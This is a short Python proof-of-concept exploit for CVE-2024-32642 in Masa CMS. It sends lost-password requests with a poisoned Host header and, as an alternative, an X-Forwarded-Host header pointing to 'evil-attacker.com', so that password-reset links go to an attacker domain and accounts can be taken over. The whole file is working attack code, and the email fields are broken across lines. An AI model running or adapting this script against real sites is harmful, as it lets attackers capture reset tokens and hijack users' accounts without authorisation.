import requests
# CVE-2024-32642 PoC - Host Header Poisoning for Account Takeover
# Target: Masa CMS < 7.2.8, 7.3.13, 7.4.6
target_url = "http://target-site.com/index.cfm/fuseaction/users.lostpassword"
payload_host = "evil-attacker.com"
headers = {
"Host": payload_host,
"User-Agent": "Mozilla/5.0",
"Accept": "text/html,application/xhtml+xml",
}
response = requests.post(
target_url,
headers=headers,
data={
"email": "
[email protected]",
"submit": "Submit"
},
allow_redirects=False,
verify=False
)
# Check if the password reset email contains the attacker's domain
if payload_host in response.text or response.status_code == 302:
print(f"[+] Host Header Poisoning vulnerability confirmed!")
print(f"[+] Malicious host injected: {payload_host}")
print(f"[*] Check email for password reset link pointing to {payload_host}")
else:
print("[-] Vulnerability not detected or target not vulnerable")
# Alternative: Check for X-Forwarded-Host header injection
alt_headers = {
"Host": "legitimate-site.com",
"X-Forwarded-Host": payload_host,
"User-Agent": "Mozilla/5.0",
}
response2 = requests.post(
target_url,
headers=alt_headers,
data={"email": "
[email protected]", "submit": "Submit"},
allow_redirects=False,
verify=False
)
if payload_host in str(response2.headers):
print(f"[+] X-Forwarded-Host injection also works!")